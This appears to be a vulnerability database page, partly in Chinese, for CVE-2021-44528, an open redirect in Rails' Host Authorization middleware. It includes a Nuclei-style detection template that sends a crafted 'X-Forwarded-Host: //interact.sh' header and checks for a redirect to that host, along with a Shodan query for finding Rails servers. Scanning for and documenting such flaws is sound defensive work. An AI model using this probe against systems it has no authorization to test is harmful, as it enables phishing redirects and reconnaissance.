CVE-2021-44528: Open Redirect in Host Authorization Middleware

日期: 2025-08-01 | 影响软件: Host Authorization Middleware | POC: 已公开

漏洞描述

Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

PoC代码[已公开]

id: CVE-2021-44528

info:
  name: Open Redirect in Host Authorization Middleware
  author: geeknik
  severity: medium
  description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
  impact: |
    This vulnerability can lead to phishing attacks, where users are tricked into visiting malicious websites and disclosing sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Open Redirect vulnerability in the Host Authorization Middleware.
  reference:
    - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44528
    - https://github.com/rails/rails/commit/0fccfb9a3097a9c4260c791f1a40b128517e7815
    - https://www.debian.org/security/2023/dsa-5372
    - https://security.netapp.com/advisory/ntap-20240208-0003/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-44528
    cwe-id: CWE-601
    epss-score: 0.26792
    epss-percentile: 0.96189
    cpe: cpe:2.3:a:rubyonrails:rails:6.0.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve2021,cve,seclists,redirect,rubyonrails

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: //interact.sh

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

      - type: status
        status:
          - 301
          - 302
          - 307
          - 308
# digest: 4a0a00473045022100b937589f33f524bfb2544a0112636246fae85b49a0e265c588544612c14a926302205624efd78820aa27c881e4c09cbc222e752dfafd119d12323ad670697b591bc8:922c64590222798bb761d5b6d8e72950